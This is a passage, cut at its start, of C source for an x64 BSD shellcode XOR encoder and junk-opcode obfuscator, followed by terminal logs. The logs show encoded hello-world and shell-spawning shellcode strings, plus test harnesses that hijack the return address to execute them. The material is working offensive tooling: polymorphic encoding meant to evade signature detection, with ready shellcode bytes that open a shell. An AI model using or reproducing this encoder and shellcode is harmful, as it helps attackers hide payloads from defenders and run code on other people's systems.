{"\x49\xff\xcc"}, /* dec %r10 */
{"\x49\xff\xc5"}, /* inc %r10 */
{"\x49\xff\xcd"}, /* dec %r10 */
{"\x49\xff\xc6"}, /* inc %r10 */
{"\x49\xff\xce"}, /* dec %r10 */
{"\x49\xff\xc7"}, /* inc %r10 */
{"\x49\xff\xcf"}}; /* dec %r10 */
void
usage(void) {
printf("/n/************************************************/\n");
printf("/* */\n");
printf("/* entropy [at] phiral.net */\n");
printf("/* simple x64 bsd xor encoder and obfuscator */\n");
printf("/* */\n");
printf("/************************************************/\n\n");
return;
}
int
main(int argc, char **argv) {
struct stat sstat;
int i, n, fd, len, xor_with;
int dlen, plen, olen;
unsigned char *fbuf, *ebuf;
unsigned char bad_bytes[256] = {0};
unsigned char good_bytes[256] = {0};
/* open the sc.bin file and read all the bytes */
if (lstat("sc.bin", &sstat) < 0) {
usage();
_exit(-1);
}
len = sstat.st_size;
if ((fbuf = (unsigned char *)malloc(len)) == NULL) {
perror("malloc");
_exit(-1);
}
if ((fd = open("sc.bin", O_RDONLY)) < 0) {
perror("open");
_exit(-1);
}
if (read(fd, fbuf, len) != len) {
perror("read");
_exit(-1);
}
close(fd);
/* try every byte xored, if its \x0 add to bad_bytes */
for (n = 0; n < len; n++) {
for (i = 1; i < 256; i++) {
if ((i^*(fbuf+n)) == 0) bad_bytes[i] = i;
}
}
/* if its not a bad_byte its a good_one (ordered) */
for (i = 1, n = 0; i < 256; i++) {
if (bad_bytes[i] == '\0') good_bytes[n++] = i;
}
srand((unsigned)time(NULL));
xor_with = good_bytes[rand()%n];
if (xor_with) {
printf("\n[x] Choose to XOR with 0x%02x\n\n", xor_with);
srand((unsigned)time(NULL));
xor_with = good_bytes[rand()%n];
/* overwrite that 5th xor byte with the xor_with byte */
decoder[5] = xor_with;
dlen = strlen((char *)decoder);
/* prepend: longest useless[] instruction were using is four bytes
* randomly prepend between one and four useless instructions so
* sixteen bytes at maximim.
*/
/* insert: we can only insert two instructions in between the
* decoder instructions before the jmp, they are also max of
* four bytes so we allocate another eight.
*/
if ((ebuf = (unsigned char *)malloc(16+8+dlen+len+1)) == NULL) {
perror("malloc");
_exit(-1);
}
memset(ebuf, '\x0', sizeof(ebuf));
/* randomly prepend between one and four instructions */
/* thirty one lines of useless[] instructions in 2d array */
n = rand()%(4 + 1);
for (i = 0, plen = 0; i < n; i++) {
int k, opcode = rand()%31;
printf("[p] Prepending useless opcodes: ");
for (k = 0; k < strlen((char *)useless[opcode]); k++) {
printf("\\x%02x", useless[opcode][k]);
}
printf("\n");
memcpy(ebuf+plen, useless[opcode], strlen((char *)useless[opcode]));
plen += strlen((char *)useless[opcode]);
}
printf("\n");
/* only place to insert unless[] instructions is at the offsets
* two and five
*/
for (i = 0, olen = 0; i < dlen; i++) {
ebuf[(i+plen+olen)] = decoder[i];
if (i == 2 || i == 5) {
int k, opcode = rand()%31;
printf("[i] Inserting useless opcodes: ");
for (k = 0; k < strlen((char *)useless[opcode]); k++) {
printf("\\x%02x", useless[opcode][k]);
}
printf("\n");
memcpy(ebuf+(i+plen+olen)+1, useless[opcode], strlen((char *)useless[opcode]));
olen += strlen((char *)useless[opcode]);
}
}
/* copy the xored shellcode byes in */
for (i = 0; i < len; i++) {
ebuf[(i+dlen+plen+olen)] = xor_with^*(fbuf+i);
}
printf("\n\"");
for (i = 0; i < strlen((char *)ebuf); i++) {
if (i > 0 && i % 15 == 0) printf("\"\n\"");
printf("\\x%02x", ebuf[i]);
}
printf("\";\n\n");
return 0;
} else {
printf("\n[*] No byte found to XOR with :(\n");
_exit(-1);
}
return 0;
}
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc -Wall encoder.c -o encoder
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ as hello_world.s -o hello_world.o
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ld hello_world.o -o hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./write-sc.sh hello_world
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder
[x] Choose to XOR with 0xc8
[p] Prepending useless opcodes: \x49\xff\xcc
[p] Prepending useless opcodes: \x49\xff\xce
[p] Prepending useless opcodes: \x49\xff\xc5
[i] Inserting useless opcodes: \x49\xff\xcc
[i] Inserting useless opcodes: \x49\xc1\xe6\x08
"\x49\xff\xcc\x49\xff\xce\x49\xff\xc5\x4d\x31\xc0\x49\xff\xcc"
"\x41\xb1\xc8\x49\xc1\xe6\x08\xeb\x1a\x58\x48\x31\xc9\x48\x31"
"\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08"
"\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x58\xa2\xcc\x90\xa2"
"\xc9\x97\x80\x71\xa7\xba\xa4\xac\xe9\xc2\x62\x62\x99\x80\x71"
"\x80\xad\xa4\xa4\xa7\xe4\xe8\x9f\x99\x80\xf9\x13\x80\xf9\x01"
"\x71\xc6\xc8\xc8\xc8\xae\x41\xd4\xc4\x80\x41\x2e\xa2\xc6\x92"
"\x05\x48\x91\x91\xa2\xc9\x90\xa2\xc8\x97\x05\x48";
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder
[x] Choose to XOR with 0x26
[p] Prepending useless opcodes: \x49\xc1\xea\x08
[p] Prepending useless opcodes: \x49\xc1\xec\x08
[i] Inserting useless opcodes: \x49\xff\xc4
[i] Inserting useless opcodes: \x49\xff\xca
"\x49\xc1\xea\x08\x49\xc1\xec\x08\x4d\x31\xc0\x49\xff\xc4\x41"
"\xb1\x26\x49\xff\xca\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a"
"\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff"
"\xc1\xeb\xed\xe8\xe1\xff\xff\xff\xb6\x4c\x22\x7e\x4c\x27\x79"
"\x6e\x9f\x49\x54\x4a\x42\x07\x2c\x8c\x8c\x77\x6e\x9f\x6e\x43"
"\x4a\x4a\x49\x0a\x06\x71\x77\x6e\x17\xfd\x6e\x17\xef\x9f\x28"
"\x26\x26\x26\x40\xaf\x3a\x2a\x6e\xaf\xc0\x4c\x28\x7c\xeb\xa6"
"\x7f\x7f\x4c\x27\x7e\x4c\x26\x79\xeb\xa6";
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c
unsigned char sc[] =
"\x49\xc1\xea\x08\x49\xc1\xec\x08\x4d\x31\xc0\x49\xff\xc4\x41"
"\xb1\x26\x49\xff\xca\xeb\x1a\x58\x48\x31\xc9\x48\x31\xdb\x8a"
"\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb\x88\x1c\x08\x48\xff"
"\xc1\xeb\xed\xe8\xe1\xff\xff\xff\xb6\x4c\x22\x7e\x4c\x27\x79"
"\x6e\x9f\x49\x54\x4a\x42\x07\x2c\x8c\x8c\x77\x6e\x9f\x6e\x43"
"\x4a\x4a\x49\x0a\x06\x71\x77\x6e\x17\xfd\x6e\x17\xef\x9f\x28"
"\x26\x26\x26\x40\xaf\x3a\x2a\x6e\xaf\xc0\x4c\x28\x7c\xeb\xa6"
"\x7f\x7f\x4c\x27\x7e\x4c\x26\x79\xeb\xa6";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:14: warning: cast from pointer to integer of different size
sc.c:11: warning: return type of 'main' is not 'int'
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc
Hello, World!
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ as shell.s -o shell.o
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ld shell.o -o shell
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./write-sc.sh shell
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder
[x] Choose to XOR with 0x43
[i] Inserting useless opcodes: \x49\xc1\xe4\x08
[i] Inserting useless opcodes: \x49\xff\xcb
"\x4d\x31\xc0\x49\xc1\xe4\x08\x41\xb1\x43\x49\xff\xcb\xeb\x1a"
"\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10"
"\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff"
"\xff\x29\x3d\x1b\x0b\x72\xbc\x0b\x72\xb5\x8e\xc3\x29\x78\x1b"
"\x0b\x72\x8a\x12\x0b\xca\xa5\x0b\xfa\x6c\x21\x2a\x2d\x6c\x30"
"\x2b\xe9\x12\x0b\xca\xa4\x0b\x72\x98\x0b\x72\x8a\xf2\x44\xcb"
"\x5f\x4f\x0b\x72\x91\x8e\xc3";
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c
unsigned char sc[] =
"\x4d\x31\xc0\x49\xc1\xe4\x08\x41\xb1\x43\x49\xff\xcb\xeb\x1a"
"\x58\x48\x31\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10"
"\x44\x30\xcb\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff"
"\xff\x29\x3d\x1b\x0b\x72\xbc\x0b\x72\xb5\x8e\xc3\x29\x78\x1b"
"\x0b\x72\x8a\x12\x0b\xca\xa5\x0b\xfa\x6c\x21\x2a\x2d\x6c\x30"
"\x2b\xe9\x12\x0b\xca\xa4\x0b\x72\x98\x0b\x72\x8a\xf2\x44\xcb"
"\x5f\x4f\x0b\x72\x91\x8e\xc3";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:13: warning: cast from pointer to integer of different size
sc.c:10: warning: return type of 'main' is not 'int'
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc
$ exit
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./encoder
[x] Choose to XOR with 0x22
[p] Prepending useless opcodes: \x49\xc1\xe5\x08
[p] Prepending useless opcodes: \x49\xff\xcb
[p] Prepending useless opcodes: \x49\xc1\xe5\x08
[p] Prepending useless opcodes: \x49\xff\xcc
[i] Inserting useless opcodes: \x49\xc1\xec\x08
[i] Inserting useless opcodes: \x90
"\x49\xc1\xe5\x08\x49\xff\xcb\x49\xc1\xe5\x08\x49\xff\xcc\x4d"
"\x31\xc0\x49\xc1\xec\x08\x41\xb1\x22\x90\xeb\x1a\x58\x48\x31"
"\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb"
"\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x48\x5c"
"\x7a\x6a\x13\xdd\x6a\x13\xd4\xef\xa2\x48\x19\x7a\x6a\x13\xeb"
"\x73\x6a\xab\xc4\x6a\x9b\x0d\x40\x4b\x4c\x0d\x51\x4a\x88\x73"
"\x6a\xab\xc5\x6a\x13\xf9\x6a\x13\xeb\x93\x25\xaa\x3e\x2e\x6a"
"\x13\xf0\xef\xa2";
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ cat sc.c
unsigned char sc[] =
"\x49\xc1\xe5\x08\x49\xff\xcb\x49\xc1\xe5\x08\x49\xff\xcc\x4d"
"\x31\xc0\x49\xc1\xec\x08\x41\xb1\x22\x90\xeb\x1a\x58\x48\x31"
"\xc9\x48\x31\xdb\x8a\x1c\x08\x4c\x39\xc3\x74\x10\x44\x30\xcb"
"\x88\x1c\x08\x48\xff\xc1\xeb\xed\xe8\xe1\xff\xff\xff\x48\x5c"
"\x7a\x6a\x13\xdd\x6a\x13\xd4\xef\xa2\x48\x19\x7a\x6a\x13\xeb"
"\x73\x6a\xab\xc4\x6a\x9b\x0d\x40\x4b\x4c\x0d\x51\x4a\x88\x73"
"\x6a\xab\xc5\x6a\x13\xf9\x6a\x13\xeb\x93\x25\xaa\x3e\x2e\x6a"
"\x13\xf0\xef\xa2";
void main(void) {
int *ret;
ret = (int *)&ret + 4;
(*ret) = (int)sc;
}
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ gcc sc.c -o sc
sc.c: In function 'main':
sc.c:14: warning: cast from pointer to integer of different size
sc.c:11: warning: return type of 'main' is not 'int'
[entropy@phiral.net ~/code/encoder/fids/fini/1]$ ./sc
$ exit